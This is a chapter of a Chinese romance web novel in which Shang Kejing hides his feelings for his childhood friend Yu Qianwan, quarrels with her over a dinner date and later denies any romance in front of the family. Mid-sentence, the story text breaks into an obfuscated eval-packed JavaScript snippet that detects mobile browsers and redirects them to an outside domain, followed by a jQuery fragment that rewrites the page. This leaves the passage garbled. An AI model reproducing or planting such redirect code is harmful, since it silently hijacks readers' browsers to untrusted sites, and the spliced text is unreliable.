“啊,明天?”
虞千绾正在微信聊天页面挑选可爱表情包的动作一顿,眼睑骤掀怔然望向商恪景。
商恪景看她这反应表情也略僵了下,随之轻微挑了挑眉反问:“干嘛,明天有安排?”
虞千绾拇指轻点手机屏幕,给常桦回了个乖巧的小兔兔表情包,而后摁灭手机屏幕坐在了商恪景身边,“确实有安排了,明天学长在隔壁市有线下志愿活动,我明天一早就得坐高铁赶过去,最早也得下午三四点才能回来。”
虞千绾鞋尖轻踮,踩在地面上小幅度晃了晃,笑容里多了几分赧色,“而且我还想跟学长一起吃顿晚饭聊聊天呢,我们都十天没见面了,我肯定得紧紧抓住这次机会和他多待会儿呀。”
“喔~这样啊。”
商恪景拖长音这么说。
虞千绾还以为他下句会说“那就算了,改天吧。”
粲然一笑,重重点了点头。
哪知商恪景突然倾身靠近,很欠揍地说:“那更要挑明天了。”
“商恪景!”虞千绾反手就在他肩膀上拍打一下,顺势跟着用力把他这张看着就让人恼火的脸推远。
“喊我也没用,你自己答应的,还想反悔不成?”
商恪景身形故作松散地后仰靠在椅背上,手指却不自然地抬起,指腹捏起肩膀那片被她触碰过的衣料捻了几下,“我可是大热天专程去帮你搬行李了,你不能言而无信。”
“我又不是不请,我明天不是有事嘛,高铁票都买好了。”
“虞千绾,你自己算算你因为他推了多少次我的事了?”
商恪景转过脸不看她,这才能说出些较为强势的话,声调却还是闷闷的,“不行,这次你拒绝他,跟我去吃饭。”
虞千绾张了张嘴又不知该说什么。
她感觉今天的商恪景好奇怪,她又不是先答应了跟他出去吃饭的具体时间再因为常桦的事反悔,而且正常约饭都得提前几天告知对方询问对方是否有时间吧?没空的话再约时间也不是什么大事,况且他们后续的空闲时间很多啊,为什么就不能商量着换一天,非得揪着明天呢?
他还看着很不高兴的样子。
虞千绾也有点不高兴了,心绪还有些郁结。请客吃饭分明是件高兴的事情,她也很谢谢商恪景那天来学校帮她搬行李,他们还是关系最好的朋友,但怎么就发展成了这样。
商恪景视线依旧看着另侧,虞千绾只能看到他绷着的侧脸。
空气静了十来秒。
商恪景早没了起初那般的架势,心头惴惴不安。
“行。”
虞千绾听不出情绪的语调平缓从身侧传来,“那就明天晚上,但我现在还不知道志愿活动具体几点结束,不过我会在结束以后第一时间赶高铁回来,就算没法在晚饭点赶回京市应该也不会迟很多,到时候再通过手机联系视情况定具体时间行不行?”
商恪景却猛地闭了闭眼,再开口话腔登时弱了不少,“那也不用……”
虞千绾无名火飙涨,声调都跟着拔高几个度,“商恪景你有病啊,一会儿非要一会儿又说不用,你到底想怎样?!”
愤懑之余,虞千绾还有些委屈,话头一开就忍不住直往外冒,“你是唯一那个知道我有多喜欢学长的人,干嘛还非要逼我在你们俩之间二选一,明明都可以处理好的啊。而且我哪有因为他推过很多次你的事情?只要是你真的需要帮忙的事,你跟我开口的时候我什么时候拒绝过?有时候我确实人不在,但我会联系别人帮你一起处理啊,我也一直通过手机在实时了解情况。我们俩这么多年积累起来的友情,你是我最最重要的朋友,但你干嘛莫名其妙有脾气就说这种话,好像我很没良心一样。”
是,你做朋友做得很好。
但是有些事,不,很多事,我都可以自己做,我也可以一个电话花钱让别人做,找你一起只是寻个想见你的借口。
是我越界,是我贪心。
我想要的东西是作为朋友的虞千绾永远没法给到的,哪怕是最最重要的朋友也不行。
我想我们不只是朋友。
我以朋友的身份嫉妒着被你喜欢的常桦,想要和他同样的待遇,稍有偏颇就心生失落,倍感怅然。
你不爱我,不知我莫名情绪的来源,是我的错,是我不该。从你只把我当朋友的角度来看,我的确莫名其妙。
万千思绪缠绕,在心头跃跳重撞。
但从嘴巴吐出,只变成了轻浅的三个字——“对不起。”
每种情绪每个念头都像是一根丝线,单捋还好,一旦混合就会乱糟糟地缠绕在一起找不到头,越拽越紧,紧紧勒绕在商恪景的心脏上,将他的心脏揪了又放,冷不丁某个契机又突然揪起。线一直存在,他操控不了,更说不得。
因为虞千绾是个会跟追求者保持距离的人,更别提而今她已有喜欢的人,他这些完全出乎她意料外的念头但凡被她知晓一点,别说朋友前那个“最最重要”的前缀了,他们怕是连朋友都没法好好做。
于是他也只能说“对不起”,因为除此外的任何一句话都是不被允许说出来的,他承担不起后果。
虞千绾听到这三个字,情绪突然也就止了下去,也开始反思自己刚刚是不是话说得有些激动了。
他们实在认识太多年,从有记忆开始,彼此就在身边了,见证过对方一路的成长。
成长的途中免不得有些磕碰和性格的磨合,幸而他们性子都比较直接,很闷不住心里话,就算有所不快也不会闷太久。如果不是很严重的事情,他们当即就说出口了,如果说出口的程度较为严重,他们则会找个恰当的时机缓缓地、平和地同对方交涉。
时至今日,寻求到让双方都舒适的沟通方法的他们已经很久没有爆发过问题了。
准确来说,从商恪景意识到他喜欢上虞千绾开始,他们就没再有过争吵。因为先爱上的他无论看到虞千绾哪一面都觉得美好,压根不会感到不适,他巴不得虞千绾参与他全部的生活。小摩擦肯定会有,但双方互相给个台阶下,或者一个新话题也就揭过去了。
乍然矛盾后的静默格外漫长。
虞千绾垂下些视线,双手搭在膝上轻蜷,唇瓣几度张合又闭上才小小声开了口询问:“那……明天你想要怎么安排?”
商恪景喉结滚动,声调也很轻,“你去找他吧,我们俩的饭局改天。”
“你如果很想明天的话也行,我晚上能赶回来。”
“不用,你说得对,我们后面还有很多空闲时间。”
“那你刚刚——”
虞千绾不知道商恪景为什么先前会那样希望明天一起吃饭,冷静下来有些担心他是不是遇到了什么事心绪不佳才如此反常,侧目回视他温温问:“你是不是最近心情不好呀?”
庭院里的灯光不明不暗,平白让人滋生出一抹青天白日里不会有的冲动和暗昧。
尤其还在这种时候同喜欢的人对视,她的眼里不仅满是他,还充盈着对他的担心。但是好可惜,那不是对喜欢的人的爱。
商恪景多想说——
是,我心情不好,但不是最近,是从你爱上常桦的那刻起。我想你知道我对你的喜欢,疏远我也好直接给我判处死刑也罢,总好过让我这么一个藏不住心事的人却一直在感情里当胆小鬼。我只希望你能看见我,爱慕你的我。
可这些都不是该让虞千绾承担的压力,他也总是在这方面差点勇气,毕竟面对是必死的悬崖,莽下去除了粉身碎骨没有别的结局,没几个人有那样近乎自杀的勇气。
于是他带着伪装的笑容和心头晃过的贪念忽地朝虞千绾伸出手,掌心压在她柔软的发顶轻轻揉了几下,故作爽朗的笑了声,“虞千绾你不是吧,想什么呢?你瞧着我哪里像心情不好的样子?喔——你要这么说我确实有点心情不好,不然你送我一双球鞋哄哄我吧,正好我最近刚看上一双——嘶!”
商恪景话还没说完头发就被虞千绾反手薅住,“商恪景你真是欠死了!我就不该关心你!我就该随身带根针把你的嘴巴缝上!”
“虞千绾你杀人啊,这么重拽我头发!我可没有这么重弄你。”
“但你弄乱了我特意做的发型!”
“虞千绾你有良心没?我可是不想你明天太累才大发善心换了时间的,你就这么对我?你那学长有我对你一半好?”
商恪景把真心以玩笑话的方式说出。
虞千绾果然一个字都不信,“商恪景你别
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223405|181625||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说瞎话说到最后把自己给感动了。”
她也很难信,因为此时此刻,他们的手依旧摁在对方的脑袋顶上,指缝里都是对方的头发,稍不注意就会给对方拽得生疼。
最后是虞景澄解救了两人的僵持。
要吃晚饭了,长辈们让小家伙来找虞千绾和商恪景回去。
两人回去的途中一边对着手机屏幕整理头发一边还在冲着对方咭哩咕哝说个不停,幼稚的身子你撞一下我,我撞一下你。
长辈们见惯了他们的打打闹闹,更知他俩关系有多好,当下在商老爷子生日这样的特殊日子上瞧见更是打心底里开心,两个孩子都是他们从小看到大的,他们自然希望能亲上加亲。
晚饭正式开始前。
虞千绾率先趁着大家还没坐齐的时候举着手机对着餐桌找角度连拍了几张照片。
“这也要发朋友圈?”
虞千绾时不时爱去吃些漂亮饭,每次饭前都得拍出满意的照片才能吃饭,但眼前就是些家常菜,商恪景随口问,然后得到了一个被击得心碎碎的回答。
“不发呀,我就拍给学长看看~”
虞千绾说这话时面上高扬着幸福的笑容,身子还左右轻扭了几下,浑身上下都透着浓烈的喜悦。
商恪景别过脸,不敢被她发现的“戚”了声,几近无声的咕哝:“这有什么好看的。”
长辈们的话题还没聊完,从客厅转到餐桌上继续着他们的话题。
长长的餐桌在无形中被分割成两片区域,一片是长辈们,一片是小辈们。
小辈们这边整体偏沉默,吃吃饭逗逗小橙子,说几句有的没的,最热闹的时候就是倏然被长辈那边点到的时候。
长辈们今天都开心的不得了,每个人都端起酒杯喝了不少酒。
酒过三巡,长辈们本就好奇的心思染上酒精更是摁耐不住。
坐在商恪景右手边的奶奶倪莹琇主动开启了话题,“哎,恪景千绾呀,你们实话告诉奶奶,在学校有没有谈恋爱呀?或者有没有喜欢的人呢?”
商恪景毫不犹豫地回:“没有。”
虞千绾犹豫了一下,也回“没有。”
她跟常桦的微信又从晚饭照片的分享后陆陆续续发起来,突然被倪奶奶提到还挺心虚。如果不是常桦的身份特殊,她估计早就忍不住告诉大家了。
倪莹琇也不好说得太直接,婉转了几个来回后见他们俩都在否认只得停止话题没再继续下去。
商恪景敏锐观察到,倪莹琇放弃的时候长辈那边似乎都有些遗憾轻叹的意思。
局面又恢复成长辈和小辈各聊各的画面。
虞千绾往嘴里夹了两块肉,感觉到手机的震动后低头点开掩在桌下的手机屏幕给常桦回消息。
坐在她身侧的商恪景将这一幕尽收眼底。
作为大寿星的商老爷子开心归开心,但也有些伤感。毕竟年纪大了,不希望看着年纪再增长。老年人的日子是掰着手指头过的,越过越少。
他是不指望在死前能看到面上恭顺实则难管的大孙子结婚了,被酒意催得微红的眼睛隔空望着坐在一起的虞千绾和商恪景,一对璧人,越看越般配,忍不住感慨句:“要是千绾和恪景能在一起就好了,两家知根知底的,两个孩子又是打小认识的,这么多年都是好朋友,真结婚了也不会有什么大矛盾的,适合在一起过日子。”
正在和常桦聊天的虞千绾听到自己的名字猛地抬起头,反应几秒才意识到商爷爷刚在说什么。
她笑了笑,“爷爷,像我和商恪景这样相熟太多年的人反倒是成不了情侣的,要成早成了,我们只适合当朋友。”
商恪景嘴唇微抿,眼眸难以被觉察到的轻闪了下。
“哎,理是这么个理,但我不是——”
“爷爷,您能别乱点鸳鸯谱了吗?”
商恪景忽地出声打断爷爷的话,面上没丁点笑意,甚至有些严肃地冲着爷爷补充,“我跟虞千绾——”
他感觉到一齐聚来的所有人视线,身侧投来的那道尤其炙热,喉间不由得一哽,轻却有力地彻底杜绝长辈们的念想,省得他们日后再明里暗里的提及,一次两次没什么,多次恐会让她感到尴尬,“……这辈子都不可能。”